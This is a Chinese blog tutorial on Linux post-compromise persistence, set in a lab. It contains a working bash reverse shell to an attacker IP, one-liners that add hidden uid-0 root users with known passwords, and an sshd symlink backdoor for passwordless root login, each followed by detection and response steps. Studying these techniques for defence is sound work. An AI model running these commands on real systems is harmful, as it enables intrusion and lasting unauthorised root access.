Linux权限维持入门学习(上)

简介: Linux权限维持入门学习

目的


本文主要是学习linux下的权限维持的方法,本文因为写的时间很久了,文章有点乱。

本文仅对linux的权限维持做了非常微小的学习,文中会从攻和防的角度,在借助学习其它文章的前提下进行学习。

文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。


1. 环境准备


靶机ipcentos10.50.0.16

运维管理机:centos  10.50.0.152

攻击机ipmac10.30.3.49

首先使用运维机器对靶机进行管理:

此时w命令显示当前存在一个用户,显示sship为运维机器ip,一切正常,将用户切换到root,再看下连接信息:

此时运维机器和靶机进行正常的通讯。此时端口扫描看下:

靶机开放了22端口。

1.1 反弹shell

再使用bash命令反弹靶机到攻击机上,在攻击机上进行操作,然后在测试机器上进行检查,是否存在相应的痕迹:

bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'

弹了shell之后,再将原来弹会话的机器的ssh断开,防止其干扰:

此时检测该机器是否有通讯:

netstat -ano

这边可以清晰的看到存在一个异常的ip通讯。


2. 权限维持方法


2.1 添加用户


这个操作先在反弹bash的攻击机上进行:先看下当前已有的历史命令,这是反弹回来的操作命令:

也可以使用这个指令看下:

再看下当前的passwdshadow文件:


2.1.1 方法1


一句话添加root用户:

# 创建一个用户名为guest,密码为123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/guest

添加之后,从里面可看到当前多了一个guest的用户:

在这里看到shadow里面多了一个密码:

在这里一看就是被入侵了,此时运维可以直接删除。


2.1.2 方法2


ssh新建用户:
echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd
账号:system 密码:admin123

更多生成密码的方法:

https://blog.csdn.net/qq_44159028/article/details/124242529

查询发现,当前在passwd中多了一个用户,但是在shadow里面是检测不到的,此时也会被发现:

此时在管理端是可以发现,新建了一个用户的文件夹,所以两种方法创建的用户都是非常容易被发现的:

2.2 建立sshd 软连接(容易被发现)

原理性的东西都来自:

https://zhuanlan.kanxue.com/article-16246.htm

2.2.1 利用条件

Linux软连接ssh后门需要ssh配置允许PAM认证才能使用。ssh配置中开启了PAM进行身份验证,查看是否使用PAM进行身份验证:

cat /etc/ssh/sshd_config | grep UsePAM

2.2.2 利用原理

pam_rootok.so 模块
pam_rootok.so 主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

cat etc/pam.d/su

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。
2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。

2.2.3 使用方法

此时可以在靶机上建立一个软链接:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;

软连接的路径不是绝对的,但是名称是绝对的,使用命令:

find /etc/pam.d|xargs grep "pam_rootok"

在反弹shell的机器上输入以上命令:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;

此时使用端口扫描工具看下:

6666端口是开启的,那如何连接呢?

ssh root@10.50.0.16 -p 6666

此时只需要输入任意用户名就可以直接连接,但是通过w选项可以看到当前是有一个root用户登录的:

2.2.4 应急方法

参考:

https://blog.csdn.net/weixin_40412037/article/details/117447832

第一步:查看服务器开放的端口号

netstat -anpt

当然,这个图里面问题很多,我们在这里只讨论软连接的情况。

发现开启有6666的异常端口,且名字为suroot@pts/,且su的PID 为17650

查看PID17650所使用的程序为ssh

ll /proc/17650

相关文章
|
12天前
|
安全 Linux 数据安全/隐私保护
Linux权限详解
Linux权限详解
|
22天前
|
Linux 数据安全/隐私保护 Windows
Linux入门指南:linux权限究竟是什么?和文件有什么关系?
Linux入门指南:linux权限究竟是什么?和文件有什么关系?
30 0
|
24天前
|
算法 Linux C++
【Linux系统编程】解析获取和设置文件信息与权限的Linux系统调用
【Linux系统编程】解析获取和设置文件信息与权限的Linux系统调用
29 0
|
1月前
|
Ubuntu 安全 Unix
【Linux学习】零基础学习Linux
【Linux学习】零基础学习Linux
|
1月前
|
监控 网络协议 Java
Linux 网络编程从入门到进阶 学习指南
在上一篇文章中,我们探讨了 Linux 系统编程的诸多基础构件,包括文件操作、进程管理和线程同步等,接下来,我们将视野扩展到网络世界。在这个新篇章里,我们要让应用跳出单机限制,学会在网络上跨机器交流信息。
Linux 网络编程从入门到进阶 学习指南
|
1月前
|
存储 Linux 数据安全/隐私保护
Linux 权限
Linux 权限
|
12天前
|
Linux 应用服务中间件 网络安全
小白学习Linux的学习建议和阶段
【4月更文挑战第5天】小白学习Linux的学习建议和阶段
44 0
|
23天前
|
Ubuntu 关系型数据库 MySQL
linux创建用户创建组删除用户以及组分配权限
linux创建用户创建组删除用户以及组分配权限
8 0
|
25天前
|
Shell Linux 开发工具
shell的介绍以及Linux权限的讲解
shell的介绍以及Linux权限的讲解
31 2
|
28天前
|
Shell Linux C语言
【Shell 命令集合 网络通讯 】Linux 设置终端机的写入权限 mesg 命令 使用指南
【Shell 命令集合 网络通讯 】Linux 设置终端机的写入权限 mesg 命令 使用指南
23 0